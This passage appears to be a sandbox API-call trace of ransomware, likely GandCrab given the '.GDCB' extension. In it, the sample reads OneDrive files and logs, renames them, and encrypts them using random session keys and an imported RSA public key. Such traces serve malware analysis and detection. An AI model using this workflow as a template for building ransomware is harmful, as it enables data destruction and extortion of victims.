Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\testsharepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0202.977] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.978] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.979] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0x6a0, lpOverlapped=0x0) returned 1 [0202.992] VirtualAlloc (lpAddress=0x0, dwSize=0x6a0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.997] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\testsharepage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\TestSharePage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\testsharepage.html.gdcb")) returned 1 [0203.007] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0203.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.010] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0203.010] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.010] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0203.012] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.012] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0203.012] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.013] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0203.015] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf750) returned 1 [0203.015] CryptGetKeyParam (in: hKey=0x50cf750, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0203.015] CryptEncrypt (in: hKey=0x50cf750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0203.015] GetLastError () returned 0x0 [0203.015] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.015] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0203.017] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50cf790) returned 1 [0203.017] CryptGetKeyParam (in: hKey=0x50cf790, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0203.017] CryptEncrypt (in: hKey=0x50cf790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0203.017] GetLastError () returned 0x0 [0203.017] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.017] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0203.019] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0203.020] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0203.021] ReadFile (in: hFile=0x510, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d670*=0xbfe9, lpOverlapped=0x0) returned 1 [0203.053] VirtualAlloc (lpAddress=0x0, dwSize=0xbff0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0203.059] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\thirdpartynotices.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ThirdPartyNotices.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\thirdpartynotices.txt.gdcb")) returned 1 [0203.131] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.133] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.134] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.134] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.134] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.134] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.136] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.136] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.136] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.136] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.138] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf710) returned 1 [0203.138] CryptGetKeyParam (in: hKey=0x50cf710, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.138] CryptEncrypt (in: hKey=0x50cf710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.138] GetLastError () returned 0x0 [0203.138] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.138] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.140] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf250) returned 1 [0203.140] CryptGetKeyParam (in: hKey=0x50cf250, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.140] CryptEncrypt (in: hKey=0x50cf250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.140] GetLastError () returned 0x0 [0203.140] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.141] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121120_934-848.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121120_934-848.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.143] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0203.144] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0203.145] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x2490, lpOverlapped=0x0) returned 1 [0203.238] VirtualAlloc (lpAddress=0x0, dwSize=0x2490, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0203.242] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121120_934-848.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121120_934-848.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121120_934-848.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121120_934-848.log.gdcb")) returned 1 [0203.247] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0203.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.249] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.249] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.249] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0203.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.253] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.253] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0203.253] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.255] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf1d0) returned 1 [0203.255] CryptGetKeyParam (in: hKey=0x50cf1d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.255] CryptEncrypt (in: hKey=0x50cf1d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.255] GetLastError () returned 0x0 [0203.255] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.256] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0203.257] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf110) returned 1 [0203.257] CryptGetKeyParam (in: hKey=0x50cf110, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.257] CryptEncrypt (in: hKey=0x50cf110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.258] GetLastError () returned 0x0 [0203.258] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.258] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.259] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0203.261] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0203.262] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x220a, lpOverlapped=0x0) returned 1 [0203.366] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0203.371] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log.gdcb")) returned 1 [0203.375] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.378] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.378] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.378] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.380] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.380] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.380] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.382] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf410) returned 1 [0203.382] CryptGetKeyParam (in: hKey=0x50cf410, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.382] CryptEncrypt (in: hKey=0x50cf410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.382] GetLastError () returned 0x0 [0203.382] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.382] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.384] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf0d0) returned 1 [0203.384] CryptGetKeyParam (in: hKey=0x50cf0d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.384] CryptEncrypt (in: hKey=0x50cf0d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.384] GetLastError () returned 0x0 [0203.384] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.384] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123817_760-808.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123817_760-808.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.386] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0203.387] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0203.388] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x2490, lpOverlapped=0x0) returned 1 [0203.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2490, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0203.434] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123817_760-808.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123817_760-808.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123817_760-808.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123817_760-808.log.gdcb")) returned 1 [0203.438] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.440] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.440] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.440] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.440] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.442] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.442] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.442] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.445] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf490) returned 1 [0203.445] CryptGetKeyParam (in: hKey=0x50cf490, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.445] CryptEncrypt (in: hKey=0x50cf490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.445] GetLastError () returned 0x0 [0203.445] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.445] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.447] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf3d0) returned 1 [0203.447] CryptGetKeyParam (in: hKey=0x50cf3d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.447] CryptEncrypt (in: hKey=0x50cf3d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.447] GetLastError () returned 0x0 [0203.447] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.447] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123818_e38-824.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123818_e38-824.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.449] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0203.450] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0203.451] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x220a, lpOverlapped=0x0) returned 1 [0203.482] VirtualAlloc 